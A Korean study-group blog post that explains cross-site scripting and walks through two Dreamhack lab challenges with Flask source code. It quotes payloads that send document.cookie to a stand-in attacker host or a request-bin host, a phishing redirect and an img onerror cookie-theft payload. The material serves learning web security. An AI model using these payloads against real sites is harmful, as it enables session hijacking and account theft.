-
[SISS/웹해킹 스터디] 2학기 4주차 스터디 - XSS24-2 SISS/웹해킹 2024. 9. 29. 21:30
4주차 09/23 ~ 09/29 [드림핵] Cross-Site-Scripting (XSS)
XSS (Cross Site Scripting)
- 클라이언트 사이드 취약점
- 웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점
- 세션 및 쿠키 정보 탈취 가능
- XSS
- 클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 스크립트를 삽입하는 것
- 페이지 변조 혹은 스크립트 실행 가능
- XSS 발생 예시 및 종류종류 설명
종류 설명 Stored XSS 악성 스크립트가 서버에 저장된 후 응답에 담김 Reflected XSS 악성 스크립트가 URL에 삽입된 후 응답에 담김 DOM-based XSS 악성 스크립트가 URL Fragment에 삽입
• Fragment는 서버 요청/응답 에 포함되지 않음Universal XSS 클라이언트의 브라우저/브라우저 플러그인에서 발생하는 취약점을 통해 SOP 정책을 우회 - XSS 스크립트 예시
// 쿠키 및 세션 탈취 공격 코드 <script> // "hello" 문자열 alert 실행 alert("hello"); // 현재 페이지의 쿠키(return type: string) document.cookie; // 현재 페이지의 쿠키를 인자로 가진 alert 실행 alert(document.cookie); // 쿠키 생성(key: name, value: test) document.cookie = "name=test;"; // new Image()는 이미지 생성, src는 이미지의 주소 지정 (공격자 주소는 http://hacker.dreamhack.io) // "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하므로 공격자 주소로 현재 페이지의 쿠키를 요청 new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie; </script>
// 페이지 변조 공격 코드 <script> // 이용자 페이지 정보에 접근 document; // 이용자 페이지에 데이터 삽입 document.write("Hacked By DreamHack !"); </script>
// 위치 이동 공격 코드 <script> // 이용자 위치 변경 // 피싱 공격 등으로 사용됨 location.href = "http://hacker.dreamhack.io/phishing"; // 새 창 열기 window.open("http://hacker.dreamhack.io/") </script>
기초 실습
- Stored XSS → 서버의 데이터베이스/파일 등으로 저장된 악성 스크립트 조회 시 발생하는 XSS
- Reflected XSS → 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생
- 특징
- 이용자의 요청에 의해 발생 (URL 등) → Click Jacking, Open Redirect 등을 이용하여 사용
- 특징
- 실습
- stored XSS 실습 → Content에 스크립트 주입
<script>alert(1);</script>
- Reflected XSS 실습
- stored XSS 실습 → Content에 스크립트 주입
XSS 퀴즈
실습 - XSS
- 웹 서비스 분석
- @app.route(”/vuln”) → 이용자가 전달한 파라미터(param) 값을 출력
@app.route("/vuln") def vuln(): param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴 return param # 이용자의 입력값을 화면 상에 표시
- @app.route(”/memo”) → 이용자가 전달한 파라미터(memo) 값을 reder_template를 이용해 기록 및 출력
@app.route("/memo") # memo 페이지 라우팅 def memo(): # memo 함수 선언 global memo_text # 메모를 전역변수로 참조 text = request.args.get("memo", "") # 이용자가 전송한 memo 입력값을 가져옴 memo_text += text + "\\n" # 이용자가 전송한 memo 입력값을 memo_text에 추가 return render_template("memo.html", memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력
- @app.route(”/flag”)
- GET → 이용자에게 URL을 입력받는 페이지
- POST → 파라미터(params)와 쿠키에 플래그를 포함해 check_xss 함수(read_url을 통해 vuln에 접속) 호출
def read_url(url, cookie={"name": "name", "value": "value"}): cookie.update({"domain": "127.0.0.1"}) try: service = Service(executable_path="/chromedriver") options = webdriver.ChromeOptions() for _ in [ "headless", "window-size=1920x1080", "disable-gpu", "no-sandbox", "disable-dev-shm-usage", ]: options.add_argument(_) driver = webdriver.Chrome(service=service, options=options) driver.implicitly_wait(3) driver.set_page_load_timeout(3) driver.get("<http://127.0.0.1:8000/>") driver.add_cookie(cookie) driver.get(url) except Exception as e: driver.quit() # return str(e) return False driver.quit() return True def check_xss(param, cookie={"name": "name", "value": "value"}): url = f"<http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}>" return read_url(url, cookie) @app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "GET": return render_template("flag.html") elif request.method == "POST": param = request.form.get("param") if not check_xss(param, {"name": "flag", "value": FLAG.strip()}): return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>'
- @app.route(”/vuln”) → 이용자가 전달한 파라미터(param) 값을 출력
- 취약점 분석
- 이용자의 입력 값 출력
- memo → render_template 함수(HTML 엔티티 코드로 변환해 저장)를 사용해 memo.html 출력
- vuln → 그대로 출력(XSS 발생)
- 이용자의 입력 값 출력
- 익스플로잇
- /vuln의 xss 취약점을 이용해 쿠키 탈취 → memo 엔드포인트를 사용해 쿠키 전달 혹은 웹 서버 이용
속성 설명 location.href 전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성값입니다. document.cookie 해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성값입니다.쿠키 탈취 - 쿠키 탈취
- memo 페이지 이용
- 웹 서버 사용(드림핵 제공) → Request Bin이 이용자의 접속 기록을 저장
// memo 페이지 이용 <script>location.href = "/memo?memo=" + document.cookie;</script>
// 웹 서버 사용 <script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>
실습 - XSS-2
- 셀레니움(Selenium)
- 웹 애플리케이션 테스팅에 사용되는 파이썬 패키지(API를 통해 크롬, 사파리와 같은 웹 드라이버를 사용할 수 있음)
- 웹 페이지 방문과 같은 역할을 함
- 웹 서비스 분석
- @app.route(”/vuln”) → vuln.html 파일을 인자로 한 render_template() 함수 값을 반환
@app.route("/vuln") def vuln(): return render_template("vuln.html")
- render_template() → 플라스크 제공 함수로 HTML 템플릿 파일을 렌더링(Jinja2 이용, 템플릿 변수를 HTML 엔티티 코드로 변환)
- @app.route(”/memo”) → 실습 1과 동일
@app.route("/memo") def memo(): global memo_text text = request.args.get("memo", "") memo_text += text + "\\n" return render_template("memo.html", memo=memo_text)
- @app.route(”/flag”) → check_xss()를 통해 xss 공격 가능 여부 확인 → read_url()을 통해 URL과 쿠키 전달
- @app.route(”/vuln”) → vuln.html 파일을 인자로 한 render_template() 함수 값을 반환
def read_url(url, cookie={"name": "name", "value": "value"}): cookie.update({"domain": "127.0.0.1"}) try: service = Service(executable_path="/chromedriver") options = webdriver.ChromeOptions() for _ in [ "headless", "window-size=1920x1080", "disable-gpu", "no-sandbox", "disable-dev-shm-usage", ]: options.add_argument(_) driver = webdriver.Chrome(service=service, options=options) driver.implicitly_wait(3) driver.set_page_load_timeout(3) driver.get("http://127.0.0.1:8000/") driver.add_cookie(cookie) driver.get(url) except Exception as e: driver.quit() # return str(e) return False driver.quit() return True def check_xss(param, cookie={"name": "name", "value": "value"}): url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" return read_url(url, cookie) @app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "GET": return render_template("flag.html") elif request.method == "POST": param = request.form.get("param") if not check_xss(param, {"name": "flag", "value": FLAG.strip()}): return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>'
- 취약점 분석
- innerHTML
- 웹 개발 시 사용하는 DOM(Document Object Model) 속성 중 하나
- HTML을 프로그래밍적으로 조작하기 위해 사용(내부 HTML을 문자열로 읽기 및 설정이 가능)
var content = document.getElementById('example').innerHTML; 읽기: 요소의 내부 HTML을 가져옴 document.getElementById('example').innerHTML = 'New Content'; 쓰기: 요소의 내부 HTML을 변경
- vuln.html
- 파라미터 값을 통해 ‘쓰기’를 수행 → innerHTML을 통해 URL의 param을 조작하여 웹 페이지 내용 변경 가능
<script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>
- innerHTML
- 익스플로잇
- /flag 페이지 param
<img src="XSS-2" onerror="location.href='/memo?memo='+document.cookie">
'24-2 SISS > 웹해킹' 카테고리의 다른 글
[SISS/웹해킹 스터디] 2학기 6주차 스터디 - SQL Injection (0) 2024.11.03 [SISS/웹해킹 스터디] 2학기 5주차 스터디 - CSRF (1) 2024.10.06 [SISS/웹해킹 스터디] 2학기 2, 3주차 스터디 (1) 2024.09.14 [SISS/웹해킹 스터디] 2학기 1주차 스터디 (2) 2024.09.08 - 클라이언트 사이드 취약점